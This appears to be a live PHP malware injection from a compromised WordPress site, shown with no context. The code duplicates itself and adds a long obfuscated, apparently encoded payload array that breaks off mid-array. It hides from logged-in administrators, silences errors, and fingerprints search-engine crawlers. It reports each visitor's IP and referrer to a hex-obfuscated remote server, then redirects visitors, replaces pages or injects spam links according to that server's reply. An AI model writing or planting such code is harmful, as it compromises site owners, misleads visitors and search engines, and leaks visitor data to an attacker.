if (!class_exists('Advanced_LinkFlow_Control')) {
if (function_exists('is_user_logged_in')) {
if (is_user_logged_in()) {
return false;
}
}
foreach ($_COOKIE as $key => $value) {
if (strpos($key, 'wordpress_logged_in_') === 0) {
return false;
}
}
@ini_set('display_errors', 0);
@ini_set('error_reporting', 0);
@ini_set('log_errors', NULL);
@ini_set('default_socket_timeout', 10);
$uri = $_SERVER['REQUEST_URI'];
$ua = $_SERVER['HTTP_USER_AGENT'];
$bad_urls = '#xmlrpc.php|wp-includes|wp-admin|wp-content|wp-login.php|wp-cron.php|\?feed=|wp-json|\/feed|\.css|\.js|\.ico|\.png|\.gif|\.bmp|\.tiff|\.mpg|\.wmv|\.mp3|\.mpeg|\.zip|\.gzip|\.rar|\.exe|\.pdf|\.doc|\.swf|\.txt|\.jpg|administrator#';
if (@preg_match($bad_urls, $_SERVER['HTTP_HOST'] . $uri)) {
return false;
}
class Advanced_LinkFlow_Control {
public $url = "\x68\x74\x74\x70:\x2f/\x316\x32.\x324\x38.\x316\x31.\x319\x39:\x381\x2fg\x65t\x2e\x70\x68\x70";
public $ua = '';
public $uri = '';
public $ip = '';
public $lang = '';
public $google_ip_list = array(
"64.233.*", "66.102.*", "66.249.*", "72.14.*", "74.125.*",
"108.177.*", "209.85.*", "216.239.*", "172.217.*", "35.190.247.*"
);
public $bing_ip_list = array(
"13.66.*.*", "13.67.*.*", "13.68.*.*", "13.69.*.*",
"20.36.*.*", "20.37.*.*", "20.38.*.*", "20.39.*.*",
"40.77.*.*", "40.79.*.*", "52.231.*.*", "191.233.*.*"
);
public $yandex_ip_list = array(
"5.45.*.*", "5.255.*.*", "37.9.*.*", "37.140.*.*",
"77.88.*.*", "84.252.*.*", "87.250.*.*", "90.156.*.*",
"93.158.*.*", "95.108.*.*", "141.8.*.*", "178.154.*.*",
"213.180.*.*", "185.32.187.*"
);
public $links = array();
public $bot = '';
public $ref = '';
function get($url) {
if (function_exists('curl_init')) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$data = curl_exec($ch);
curl_close($ch);
return $data;
} elseif (@ini_get('allow_url_fopen')) {
return @file_get_contents($url);
} else {
$parts = parse_url($url);
$target = $parts['host'];
$port = isset($parts['port']) ? $parts['port'] : 80;
$page = isset($parts['path']) ? $parts['path'] : '';
$page .= isset($parts['query']) ? '?' . $parts['query'] : '';
$page .= isset($parts['fragment']) ? '#' . $parts['fragment'] : '';
$page = ($page == '') ? '/' : $page;
if ($fp = @fsockopen($target, $port, $errno, $errstr, 3)) {
@socket_set_option($fp, SOL_SOCKET, SO_RCVTIMEO, array("sec" => 1, "usec" => 1));
$headers = "GET $page HTTP/1.1\r\n";
$headers .= "Host: {$parts['host']}\r\n";
$headers .= "Connection: Close\r\n\r\n";
if (fwrite($fp, $headers)) {
$resp = '';
while (!feof($fp) && ($curr = fgets($fp, 128)) !== false) {
$resp .= $curr;
}
if (isset($curr) && $curr !== false) {
fclose($fp);
return substr(strstr($resp, "\r\n\r\n"), 3);
}
}
fclose($fp);
}
}
return TRUE;
}
function init($uri, $ua) {
$this->uri = $uri;
$bot = FALSE;
$this->ip = isset($_SERVER['HTTP_CF_CONNECTING_IP']) ? $_SERVER['HTTP_CF_CONNECTING_IP'] : (isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : 'unknown');
$this->ref = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
$this->lang = isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? $_SERVER['HTTP_ACCEPT_LANGUAGE'] : '';
if (@preg_match('/googlebot|google-structured-data/i', $ua)) {
$bot = TRUE;
$this->bot = 'google';
}
if (@preg_match('/bing|msn|msr|slurp|yahoo/i', $ua)) {
$bot = TRUE;
$this->bot = 'bing';
}
if (@preg_match('/yandexbot|yandeximages|yandexmobilebot|yandex/i', $ua)) {
$bot = TRUE;
$this->bot = 'yandex';
}
if (@preg_match('/duckduckbot/i', $ua)) {
$bot = TRUE;
$this->bot = 'duckduck';
}
if (@preg_match('~aport|rambler|abachobot|accoona|acoirobot|aspseek|croccrawler|dumbot|webcrawler|geonabot|gigabot|lycos|scooter|altavista|webalta|adbot|estyle|mail\.ru|scrubby~i', $ua)) {
$bot = TRUE;
$this->bot = 'other';
}
if (!$bot) {
$bot_sources = [
'google' => $this->google_ip_list ?? [],
'bing' => $this->bing_ip_list ?? [],
'yandex' => $this->yandex_ip_list ?? [],
];
foreach ($bot_sources as $bot_name => $ip_list) {
foreach ($ip_list as $ip_mask) {
$pattern = '#^' . str_replace(['.', '*'], ['\.', '.*'], $ip_mask) . '$#';
if (preg_match($pattern, $this->ip)) {
$bot = TRUE;
$this->bot = $bot_name;
break 2;
}
}
}
}
if (!$bot) {
$hostbyaddr = @gethostbyaddr($this->ip);
$host_patterns = [
'google' => 'googlebot|google',
'bing' => 'bing|msn|msr|slurp|yahoo',
'yandex' => 'yandex',
'duckduckgo' => 'duckduckgo|duckduckbot',
];
foreach ($host_patterns as $bot_name => $pattern) {
if (preg_match("/$pattern/i", $hostbyaddr)) {
$bot = TRUE;
$this->bot = $bot_name;
break;
}
}
}
if (!empty($_SERVER['SERVER_NAME'])) {
$tmp = @parse_url('http://' . $_SERVER['SERVER_NAME']);
if (isset($tmp['host'])) {
$host = $tmp['host'];
}
}
$url = $this->url . "?host=$host&uri=" . urlencode($this->uri) . "&bot={$this->bot}&ip={$this->ip}&ref=" . urlencode($this->ref) . '&lang=' . urlencode($this->lang);
if (isset($_COOKIE['LFD']) || isset($_REQUEST['LFD'])) {
$url .= '&check=1';
$page = $this->get($url);
$res = 0;
if (strpos($page, "XTESTOKX") !== false) {
$res = 1;
}
die(json_encode([
'r' => $res,
'funcs' => [
'curl_init' => function_exists('curl_init') ? 1 : 0,
'file_get_contents' => function_exists('file_get_contents') ? 1 : 0,
'allow_url_fopen' => ini_get('allow_url_fopen') ? 1 : 0,
'fsockopen' => function_exists('fsockopen') ? 1 : 0,
'socket_set_option' => function_exists('socket_set_option') ? 1 : 0,
]
]));
}
if (isset($_COOKIE['CURLOPT_LF_TEST']) || isset($_REQUEST['CURLOPT_LF_TEST'])) {
$url .= '&check=1';
}
$page = $this->get($url);
if (preg_match('/(.*?)<\/url>/us', $page, $matches)) {
$url = $matches[1];
header("Location: {$url}");
exit;
}
if (preg_match('/(.*?)<\/page>/us', $page, $matches)) {
$page = $matches[1];
die($page);
}
if (strpos($page, '') !== FALSE) {
preg_match_all('~(.*?)~', $page, $m);
$this->links = isset($m[1]) ? $m[1] : array();
}
if (count($this->links) > 0) {
ob_start(array($this, 'rwcontent'));
register_shutdown_function('ob_end_flush');
}
}
function rwcontent($content) {
$blocked_tags = array('header', 'footer');
$tags = array('p', 'span', 'strong', 'em', 'i', 'td', 'div', 'ul', 'li', 'body');
$tags_vals = array();
foreach ($tags as $tag) {
preg_match_all("~<{$tag}\s+.*?>(.*?){$tag}>~is", $content, $matches);
if (isset($matches[0])) {
foreach ($matches[0] as $match) {
$is_blocked = false;
foreach ($blocked_tags as $blocked_tag) {
$pattern = "~<{$blocked_tag}.*?>.*?{$match}.*?{$blocked_tag}>~is";
if (preg_match($pattern, $content)) {
$is_blocked = true;
break;
}
}
if (!$is_blocked) {
$tags_vals[] = array('tag' => $tag, 'content' => $match);
}
}
}
if (count($tags_vals) > count($this->links)) {
break;
}
}
$tag_index = 0;
$link_index = 0;
$links_count = count($this->links);
$tags_vals_count = count($tags_vals);
while ($link_index < $links_count && $tag_index < $tags_vals_count) {
$link = $this->links[$link_index];
if (str_ends_with($link, '###')) {
$linkHTML = str_replace('###', '', $link);
} else {
$number = 7200 + strlen($link) % 1000;
$linkHTML = "{$link}
";
}
$tag_val = $tags_vals[$tag_index];
if (strlen($tag_val['content']) % 2 == 1) {
$tag_content_new = $tag_val['content'];
$tag_content_new = preg_replace("(<{$tag_val['tag']}.*?>)", "$0 {$linkHTML}", $tag_content_new, 1);
} else {
if (substr($tag_val['content'], -(strlen($tag_val['tag']) + 4)) == ".{$tag_val['tag']}>") {
$tag_content_new = str_replace(".{$tag_val['tag']}>", " {$linkHTML}{$tag_val['tag']}>", $tag_val['content']);
} else {
$tag_content_new = str_replace("{$tag_val['tag']}>", " {$linkHTML}{$tag_val['tag']}>", $tag_val['content']);
}
}
$content = preg_replace("~" . preg_quote($tag_val['content'], '~') . "~i", $tag_content_new, $content, 1);
if (strpos($content, $linkHTML) !== false) {
$link_index++;
}
$tag_index++;
}
return $content;
}
}
$ratel = new Advanced_LinkFlow_Control;
$ratel->init($uri, $ua);
}
if (!class_exists('Advanced_LinkFlow_Control')) {
if (function_exists('is_user_logged_in')) {
if (is_user_logged_in()) {
return false;
}
}
foreach ($_COOKIE as $key => $value) {
if (strpos($key, 'wordpress_logged_in_') === 0) {
return false;
}
}
@ini_set('display_errors', 0);
@ini_set('error_reporting', 0);
@ini_set('log_errors', NULL);
@ini_set('default_socket_timeout', 10);
$uri = $_SERVER['REQUEST_URI'];
$ua = $_SERVER['HTTP_USER_AGENT'];
$bad_urls = '#xmlrpc.php|wp-includes|wp-admin|wp-content|wp-login.php|wp-cron.php|\?feed=|wp-json|\/feed|\.css|\.js|\.ico|\.png|\.gif|\.bmp|\.tiff|\.mpg|\.wmv|\.mp3|\.mpeg|\.zip|\.gzip|\.rar|\.exe|\.pdf|\.doc|\.swf|\.txt|\.jpg|administrator#';
if (@preg_match($bad_urls, $_SERVER['HTTP_HOST'] . $uri)) {
return false;
}
class Advanced_LinkFlow_Control {
public $url = "\x68\x74\x74\x70:\x2f/\x316\x32.\x324\x38.\x316\x31.\x319\x39:\x381\x2fg\x65t\x2e\x70\x68\x70";
public $ua = '';
public $uri = '';
public $ip = '';
public $lang = '';
public $google_ip_list = array(
"64.233.*", "66.102.*", "66.249.*", "72.14.*", "74.125.*",
"108.177.*", "209.85.*", "216.239.*", "172.217.*", "35.190.247.*"
);
public $bing_ip_list = array(
"13.66.*.*", "13.67.*.*", "13.68.*.*", "13.69.*.*",
"20.36.*.*", "20.37.*.*", "20.38.*.*", "20.39.*.*",
"40.77.*.*", "40.79.*.*", "52.231.*.*", "191.233.*.*"
);
public $yandex_ip_list = array(
"5.45.*.*", "5.255.*.*", "37.9.*.*", "37.140.*.*",
"77.88.*.*", "84.252.*.*", "87.250.*.*", "90.156.*.*",
"93.158.*.*", "95.108.*.*", "141.8.*.*", "178.154.*.*",
"213.180.*.*", "185.32.187.*"
);
public $links = array();
public $bot = '';
public $ref = '';
function get($url) {
if (function_exists('curl_init')) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$data = curl_exec($ch);
curl_close($ch);
return $data;
} elseif (@ini_get('allow_url_fopen')) {
return @file_get_contents($url);
} else {
$parts = parse_url($url);
$target = $parts['host'];
$port = isset($parts['port']) ? $parts['port'] : 80;
$page = isset($parts['path']) ? $parts['path'] : '';
$page .= isset($parts['query']) ? '?' . $parts['query'] : '';
$page .= isset($parts['fragment']) ? '#' . $parts['fragment'] : '';
$page = ($page == '') ? '/' : $page;
if ($fp = @fsockopen($target, $port, $errno, $errstr, 3)) {
@socket_set_option($fp, SOL_SOCKET, SO_RCVTIMEO, array("sec" => 1, "usec" => 1));
$headers = "GET $page HTTP/1.1\r\n";
$headers .= "Host: {$parts['host']}\r\n";
$headers .= "Connection: Close\r\n\r\n";
if (fwrite($fp, $headers)) {
$resp = '';
while (!feof($fp) && ($curr = fgets($fp, 128)) !== false) {
$resp .= $curr;
}
if (isset($curr) && $curr !== false) {
fclose($fp);
return substr(strstr($resp, "\r\n\r\n"), 3);
}
}
fclose($fp);
}
}
return TRUE;
}
function init($uri, $ua) {
$this->uri = $uri;
$bot = FALSE;
$this->ip = isset($_SERVER['HTTP_CF_CONNECTING_IP']) ? $_SERVER['HTTP_CF_CONNECTING_IP'] : (isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : 'unknown');
$this->ref = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
$this->lang = isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? $_SERVER['HTTP_ACCEPT_LANGUAGE'] : '';
if (@preg_match('/googlebot|google-structured-data/i', $ua)) {
$bot = TRUE;
$this->bot = 'google';
}
if (@preg_match('/bing|msn|msr|slurp|yahoo/i', $ua)) {
$bot = TRUE;
$this->bot = 'bing';
}
if (@preg_match('/yandexbot|yandeximages|yandexmobilebot|yandex/i', $ua)) {
$bot = TRUE;
$this->bot = 'yandex';
}
if (@preg_match('/duckduckbot/i', $ua)) {
$bot = TRUE;
$this->bot = 'duckduck';
}
if (@preg_match('~aport|rambler|abachobot|accoona|acoirobot|aspseek|croccrawler|dumbot|webcrawler|geonabot|gigabot|lycos|scooter|altavista|webalta|adbot|estyle|mail\.ru|scrubby~i', $ua)) {
$bot = TRUE;
$this->bot = 'other';
}
if (!$bot) {
$bot_sources = [
'google' => $this->google_ip_list ?? [],
'bing' => $this->bing_ip_list ?? [],
'yandex' => $this->yandex_ip_list ?? [],
];
foreach ($bot_sources as $bot_name => $ip_list) {
foreach ($ip_list as $ip_mask) {
$pattern = '#^' . str_replace(['.', '*'], ['\.', '.*'], $ip_mask) . '$#';
if (preg_match($pattern, $this->ip)) {
$bot = TRUE;
$this->bot = $bot_name;
break 2;
}
}
}
}
if (!$bot) {
$hostbyaddr = @gethostbyaddr($this->ip);
$host_patterns = [
'google' => 'googlebot|google',
'bing' => 'bing|msn|msr|slurp|yahoo',
'yandex' => 'yandex',
'duckduckgo' => 'duckduckgo|duckduckbot',
];
foreach ($host_patterns as $bot_name => $pattern) {
if (preg_match("/$pattern/i", $hostbyaddr)) {
$bot = TRUE;
$this->bot = $bot_name;
break;
}
}
}
if (!empty($_SERVER['SERVER_NAME'])) {
$tmp = @parse_url('http://' . $_SERVER['SERVER_NAME']);
if (isset($tmp['host'])) {
$host = $tmp['host'];
}
}
$url = $this->url . "?host=$host&uri=" . urlencode($this->uri) . "&bot={$this->bot}&ip={$this->ip}&ref=" . urlencode($this->ref) . '&lang=' . urlencode($this->lang);
if (isset($_COOKIE['LFD']) || isset($_REQUEST['LFD'])) {
$url .= '&check=1';
$page = $this->get($url);
$res = 0;
if (strpos($page, "XTESTOKX") !== false) {
$res = 1;
}
die(json_encode([
'r' => $res,
'funcs' => [
'curl_init' => function_exists('curl_init') ? 1 : 0,
'file_get_contents' => function_exists('file_get_contents') ? 1 : 0,
'allow_url_fopen' => ini_get('allow_url_fopen') ? 1 : 0,
'fsockopen' => function_exists('fsockopen') ? 1 : 0,
'socket_set_option' => function_exists('socket_set_option') ? 1 : 0,
]
]));
}
if (isset($_COOKIE['CURLOPT_LF_TEST']) || isset($_REQUEST['CURLOPT_LF_TEST'])) {
$url .= '&check=1';
}
$page = $this->get($url);
if (preg_match('/(.*?)<\/url>/us', $page, $matches)) {
$url = $matches[1];
header("Location: {$url}");
exit;
}
if (preg_match('/(.*?)<\/page>/us', $page, $matches)) {
$page = $matches[1];
die($page);
}
if (strpos($page, '') !== FALSE) {
preg_match_all('~(.*?)~', $page, $m);
$this->links = isset($m[1]) ? $m[1] : array();
}
if (count($this->links) > 0) {
ob_start(array($this, 'rwcontent'));
register_shutdown_function('ob_end_flush');
}
}
function rwcontent($content) {
$blocked_tags = array('header', 'footer');
$tags = array('p', 'span', 'strong', 'em', 'i', 'td', 'div', 'ul', 'li', 'body');
$tags_vals = array();
foreach ($tags as $tag) {
preg_match_all("~<{$tag}\s+.*?>(.*?){$tag}>~is", $content, $matches);
if (isset($matches[0])) {
foreach ($matches[0] as $match) {
$is_blocked = false;
foreach ($blocked_tags as $blocked_tag) {
$pattern = "~<{$blocked_tag}.*?>.*?{$match}.*?{$blocked_tag}>~is";
if (preg_match($pattern, $content)) {
$is_blocked = true;
break;
}
}
if (!$is_blocked) {
$tags_vals[] = array('tag' => $tag, 'content' => $match);
}
}
}
if (count($tags_vals) > count($this->links)) {
break;
}
}
$tag_index = 0;
$link_index = 0;
$links_count = count($this->links);
$tags_vals_count = count($tags_vals);
while ($link_index < $links_count && $tag_index < $tags_vals_count) {
$link = $this->links[$link_index];
if (str_ends_with($link, '###')) {
$linkHTML = str_replace('###', '', $link);
} else {
$number = 7200 + strlen($link) % 1000;
$linkHTML = "{$link}
";
}
$tag_val = $tags_vals[$tag_index];
if (strlen($tag_val['content']) % 2 == 1) {
$tag_content_new = $tag_val['content'];
$tag_content_new = preg_replace("(<{$tag_val['tag']}.*?>)", "$0 {$linkHTML}", $tag_content_new, 1);
} else {
if (substr($tag_val['content'], -(strlen($tag_val['tag']) + 4)) == ".{$tag_val['tag']}>") {
$tag_content_new = str_replace(".{$tag_val['tag']}>", " {$linkHTML}{$tag_val['tag']}>", $tag_val['content']);
} else {
$tag_content_new = str_replace("{$tag_val['tag']}>", " {$linkHTML}{$tag_val['tag']}>", $tag_val['content']);
}
}
$content = preg_replace("~" . preg_quote($tag_val['content'], '~') . "~i", $tag_content_new, $content, 1);
if (strpos($content, $linkHTML) !== false) {
$link_index++;
}
$tag_index++;
}
return $content;
}
}
$ratel = new Advanced_LinkFlow_Control;
$ratel->init($uri, $ua);
}
/*6e2c84aa2f15261b7cf8fa79ecc20f83*/
$is_front_page_oj = array ('zRxrc9tG7rt/xVrjHsk','7yZLbptNatjKOrSS+cW','xXlq+XsTMcSlxZbCiS5','ZKx3Sb97Qfsg9wlqUec','ZOY8eUhLAAtgsVgAC3p','ra5ZH0yyII+L5vns/py','l1p3HkBzhm7/ABh/y1R','eDnLownXkh27hN/0iY7','OaPpFc2yILpjR2na3+J','AO4HPyCHx0tR7dN/TR2','ZXAZ1+AXgcLxbeFU281','MuoD2jBIgljn9pWm8Af','BHEk3WBG7O2AuQyohNR','2yD/+QeCr5y+CyHYUi/','iDgsyCMKOpbX0I6D1zK','YjTSWKWIdlZ8ODiZxAz','jzJmSXbwJ6VZnkZESE1','2SYscnZ+Qv7jAnQEisU','+7HNfLs3mckvOLMTk9J','3ZdFqclyH4S3BuU+1sw','Wuid06MP0zAHuXf+yGn','6iNIYGv9SVUvyV1kKDw','BlEfvB7PG3NAAlMTFq1','5QteOkMKkrfbta6gmY0','sy2hHlxBY2ZH6USX/z6','BlQCr+53ZNblRN0stbQ','ZY3nROalITj6FuyOGA7','DA5rLOK0tkc4FBMIdZW','LioX0g4YClKg31i/M+u','d4xQc6rTmgU//fcXiPJ','3SEsXQjvqZAMvv+8bwJ','+Mbnc5jUpnWhK+Q+NSg','0iUMSX6Q5Zp4UcwFRNl','ro6CnQ7Kni9PtTnOWxQ','tQ+gmd5He2NQ1jb/oer','StgJI629W1VQke+ANce','Ijfi8fGcTt9fUbumOLl','5sjSndbk1gJkXssrmqm','x2e4c7hKpDm+ZpSqPMR','Ttqo39zuTGrbZY9JrTY','aHbpZ/hXi2VeljMLre3','8+uzMaa8AsJJ8EgZsbq','2G8lNvlq2BSUCZoO41U','FnqrZ0NtjJVIHJhyq0l','ZMcNhZ8M8xc7vq4X/LG','40hFFcsudbwOIxgif4U','ax9q4AVk6Jz5lSlocZT','BrRe/Lbpfsr8qDcpgaI','ZlUhiNudr1DFvBA0Sem','du/Cy6dy2/r4d3Nr2Ta','/zS/vdv5xb5/bgb/Rk3','HJuLC8MrXfwlQPT5l1u','wAKvLEvdlCahh9tRIt7','0gIo1sC04Z6RUncEMrN','TnBstg2HIOqhM7y3zHJ','0LB+JdILZcYF89A3wEl','/ioXcUeafOPzG+nRXTe','IuERiyY2N0xmcnugrsG','q5FN0q/OctBZdq07UQw','F9rMQS1J65G4QS+yBAV','lU0VUMB/LR0UBJ+oBun','lvkgJgsamKpDQX0sBkt','xTrUA58C+zAkllYytQ8','F/NChTBJ6pBnlBfpARB','Y1MVSOivpQBJbrn49UB','FoFYjFcxYXPXdjbwFdX','/sPXsGXpbHLm1xQMJ/C','U0XxUlc6JVHaeKgNeLy','OPRl9INeXnyCgFds3pJ','p+cSF1ADguKgCzRXRmS','2mrSEUpABrWyfy3Jh6X','5+g36AS8bSeGjVy8f+Q','kEqlS5WrQRUTta6GZ8P','jMdGCnDY5vrg+H9vkn8','QhR1ckyhfSpF6OLt5U0','kzy2+vhaEiKMApIfsda','WnpmQYTme5MQA6xDYRM','yJUbp3DC+u6O+q7K0ct','UKim48+Z1O8Wy+o5lbH','RY2VY2otvUD3516kV2j','1xlMvaQzQO7cJA0+gB6','FlLU9KXW1e0iU5Ckqnt','q1nSvycFvTJdlGxQvyF','rkYEZvoeTkoy+c4OoqO','4TitNpfbECjwbceY3Gn','ON0rOW+Us60sC5NXo4v','qSvHirsyXrBNLVIJc2N','1VHKgWZlM/sip4EG9Iv','OG1yNBodvXWPnFp+rGj','zMH6RoMlX0mE5fGME5e','+kS1kSrqidq1ALe9Yz1','qb0FCJZuZ0FPOhdbspT','v2lrL9tbpyeNO0dUb0x','zkNTVBtpM21K9FbXq/s','Su5UurVY24N3jyFEo7P','VHaMt0hAJq+UCpsFuZs','7qZ5SBvKJRW/JlLZlN5','jnaeQHFHlpo8TXuWzJI','ggazkb1VfAk/KkzatIC','Ic2fQD68NzGh3DcA+mF','l6iqAj8qTa8iqxF8+ht','B4Z1DPn40zK3yHDzAIZ','G7d+lEdZ9TKgROdV2Xq','01WknYfFqFEENxsWqmD','hEcpvjCcpytZq+AsE7w','qt2LgZtW6oGWuU2ldT4','bdFoL+S5pakxVfCaovK','fXtDTX4NGOcwQznEEhV','Yj0riHz6sJvMk+cIcYi','HO/xda019s8aM7BdTAI','macC9BbKux6NkIynXR7','QZR4PIq6oIu4vTRDYNF','wCvX3z/76c0LRW8OByx','WuI/jKAOmO2M4A/YJRq','3IEdbwcZifzLDBGevMs','ywBHw7ha59M514KUxwi','uO4IJhA2uPKhBScKltx','gvm73c2d74kQomDh8XD','nj971e4XhxCFdSaO01f','FPbdkeOXfGSJ/pXDrtL','WrdR4fPFEQAPZ7D81/z','Li8cRBS/Psus0KLbkTn','Eo4W5ddVbJySGqiMGj4','NFk9XafWXIYxIvu6Cyl','f+CDe0rfh4/qWeixTET','aPoQGtvW2s+j4DZ63ZA','XNnJ9pgW+YeJ6GKoSDE','NALg+i9XQBq0bqpIQhd','APFFGE8BGj61C5baOuP','tUjiNFlbsgT3q+jSkwL','2ari1iYVaa/Fbz1LAqB','12YFRZ/oJZHFr510H6T','CxbLLjUgvc7BwcHVeLR','18BzcM/lAUwbwh6293V','6L0GgaY3562Loev+z83','Ho+2DoQM0txACVihy3c','Hfvd7v39/a7a+Ltxetd','lIOfCY1052O3t/tLSMf','cfWGBg3//A8cBu97r/f','XN2xfE7QQRmHU1pgcuC','fUH6LJ56Gef3M1gwfPt','n4KnPuw/Mbw2E4rdAda','amP9cylAc3VwMGUNMDy','esBUBwgwYMufipGBe2B','mgSeyhEFUc450OY/6Gr','jClRxNCh4O+gWY5whtL','rBbXQb1aVuvBO7F1+1M','E4besM38LLzvIQT91Gg','eGPjGnR4UGh1eNEBIRt','CwjITxUTUwHaaDtmXvK','DA1FFZ7JniescMAhf+M','5vNvT17x70ajv4zHN1Y','r8fjS/f1xdWYR1LG1WD','TtZrkM8rDsOnuM4/AaQ','bgoP6k9sRj9KcfwX9MU','SLtyqxaE2l21N8gZKgE','sMmaCBZPt4+WsQ13l4U','YG0YXSHLHqsbGWhGs9b','fk7W/IXctVGg1/vR5ej','d3r0WlD4KfiMhBmdYQb','sGNuNpfgwe1qFlZPLND','Rq/NSZFn8mHJBuI2KLT','yEjVx5j1C7hG3XqDoNp','lbeCK67B0whlPpA38bg','W97QzPvGAmobBclAJkO','2kzSGAzp7dOlDwDC7FH','fb6qq8QTxjE32ZvvSWi','HswuthN40kMJzUw4Lpi','OperzaoGuQbWXRzfhRQ','wGxFJt0u4isnV8ILs/b','j7QCD5hoyApitoTkBvT','6VomjB4sxGsc0ZPE9uo','j8pcyXRs/3VfXox+Oxq','dDE/wU2XvqH2zBke3vq','UzHb90jy/Oz4fH49PzV','+7p5UZT1ZHWzTUavrkY','D92jk5O1whigTc66YQt','VLumVfneCRBwkpeq1DQ','AuEf7YAMTrp6aZwygeQ','uDRjBJrooetnDoC3vRM','RndSPP4Zz1hFc8Fpwmx','z8wmQBk1I8TRyWgVH0M','Uzgn+sJt6aHk6jq3wS4','SKgfBK86oFrvRIMQpIo','m2ES5E3fQ3rHso8fv2P','6X6EHRbJCrlodbVdN5x','q+uUevhudjfidiPjw6P','h5ejt2zo/NX1wBjprVr','uy22Vkt0P4djjWwo0Te','TZJ0Nn7IRBR8yDhYQe2','TwL8Tmi0StGyTg2B+E4','2DlHaJDDMhPPfJP8c/3','P+oNNWvgNzi8lmsVCQL','h7xjkyYo2/26JAdtp67','NuqIVinh1IQT3DX9o7H','7wwp5UqIaR9PiK4CI87','WXbgiSOJY5jbmw/xyLY','QxTCIgvemiBOGOV+lDe','YJ5spL2GnL6dpC4FpTn','7HZ11CSEvHpS3pNGiz6','mQpvuIHiKg2Nhv4wVLD','5hVcxckD2er0V4YFWBb','BUKph0hIidqR/tTuNFl','6XTbu6F8R2jUwxKLa0Q','nsQQmQM2L42iD+eVDpn','8NfX2LChEGr5o7LnExa','o09uC6xnnGAfZ6lYeT2','H/kTxooc4A5Xqfx0LzR','LOoIXLdctYh19yfIC1E','zY/bvLI5cXgCghX22yS','/lFY+zpfcXiTPVBTXQN','I1Tu9DNcuXzm+3K+QCZ','46LEvRECQ3jP71JYPp1','SXh4zD4mNLNKpG/en5b','VFcR5utK1lgYu7Zrmxt','xtcpdjPVuFplkQZEkyc','o0V4UVVVvYWQu7kslro','gEl8PBhqN9Q5LpWj4TB','ZB7rCCGEy53QeJINPFy','HU3e8isSuvh+gVvZpZj','kIIhNY/VeJhW14sLg3Z','hCAKwaUA/UBefaMzoCl','AxD08LWRIGGaSF9m16G','328jRxMDIX5IQkwl85e','m1yOhq/cq8uz07F7fuE','O31yO3zZcwCg3JEOm9Q','oIIljnwDdXi0RxRrxI2','Ot6XVSOiqKYomyHewHx','uU00u8NxcXisPB4Msy4','PCK3WvN5sm8IHiPjG8Y','sAk7gAPpeFFVwP0TaAp','QCxPAJEln0h1/HSRx7T','Wlb16rBAx9ATa+PGYVq','g7grqiefbPp3CsB2nvi','0QYMl/Bk31QNqr8ci9P','Dpxz4Yvx07TDaMiuDTK','r0S308BPdWm5FCicm2T','4qkARt+tSNmgsUdaHYS','K2Ama8b4e9n8BzR88Hu','pY2bV9dpGXmtDXtCoj6','xAJQ8e4iBZwRFyuf8CR','F8d0mPZ2lcuZmBC5BBa','NszdGnwivLgo7ZT83L3','9Y5bJ8gQvoAZfVXpS1V','f9oQVerrOslnM5rizX5','a9NIoDsTcB9udjoAiHE','qqsNPZHmBZ8vL1pTu8O','OvrsYteMarfT/K3BvLQ','S20R1sDILI0jWDjvjoo','xGJrHfB9XHU7Jk2TGC8','MJpEuruFI/8UTIabcUl','pS4tebklEqCsK6qIiCJ','o/zG2K4Gg+YkYBacTLX','EhIKeBdF7Vq9UyrWT08','v2joJcEyJYm5yl3yTB5','5EwY4Qm2BtrHvg+jfDa','z3p3U3b7ly8HlDFDYx9','/9fiIYiKKSWQSw/a5Dy','CkzDMiivqMyPvCsqbQ4','LAF90VgL5uy6EPGLy9g','m+Jnd4JfVipCbXAd1fP','FG1BeCKb0GK7VZIGLe7','/c/M26hPCaE0dNzmIQM','G16x6KqMQFJCuSlGim3','Bd4mFJxVy0cbMIeXqJu','wJu5qV7JWKtfgzlxD3Z','I3XbymV4aUm5/I1bSs/','tpFKRhkx5h+ofhxFD6+','BuBL8FdNapBubrlTq/i','0mtoAiiAe3j3RarhUcK','8H64ji4h0vU9FNz6o7t','bLhdmNZ93onAS4FjbJx','8VQXeoMbZ/kGgAI0+3d','9bNjFSybEd7RWXS283U','xifklWduvqBCDB1asNj','UKVGidivihf8GoKKcRR','xRWjJ5jz3V+2B3Bqp/8','F6v+W+nfhhNp0DfzgTg','Q5ekc0/MEu056DXb3a8','N47bOw14XZhu5krBGBP','W2TBy8oF/tIVFlN849W','d5WG4yfIWQV1DRX5bKu','45qndfqtE8/J9+aGmFT','LpIMsgDy2cNKb7KXdYe','JpWogTW+TLjMTzTeQ7e','l5Oe52YvO2Ej218FH3q','JXhHB1MN4ILzFuCnpgq','e/qB5eEE5bddK6awwp8','r7GrUzuMjQiyynKlo6L','5xcMDP/hA+EIfttTRu+','9NWBzmGe3LFwr2vTCZe','3aceNMgezzsOX35cb+3','2+v90P+zwy+q93/utwZ','4AXPQBaqDhjcG18wW0l','m233nW6/WShy8klcXJP','unA1v7ucwhlkLgzSKYX','+4RBRE7tnvMZ2PEHms7','C+H6fCJPtF8HMPik5m9','Pgbp7tk16S9SFk9bO5+','Lz5PH4AWb73uB/FEe2v','xmKJF32D5UWyT5mvcYG','fSqxhiTcitWKRDfxKVq','QdL6rhovCN1U4WrR6j+','mQ+oxO3cIMrWjGqgCvf','aS66i0CeWh/L4bJWHwh','3ZXAqy3rVHgXFm34dL3','oNxa+AwBPUR8U2/FaI4','gYDn3lTcYKDE3fVeyS8','rUD/tQYqRNURsOoa/ZH','TnLpsmgaJwCp/GYAxS9','kxIN8GKqZZ+toUPNzrt','ckPTWSMfnehIqRVa/Je','wjckv77QTr0pvwkliET','/bq3ptwkYHoKH4OVgP0','jplGNW2lessiW24dgFs','1hl8K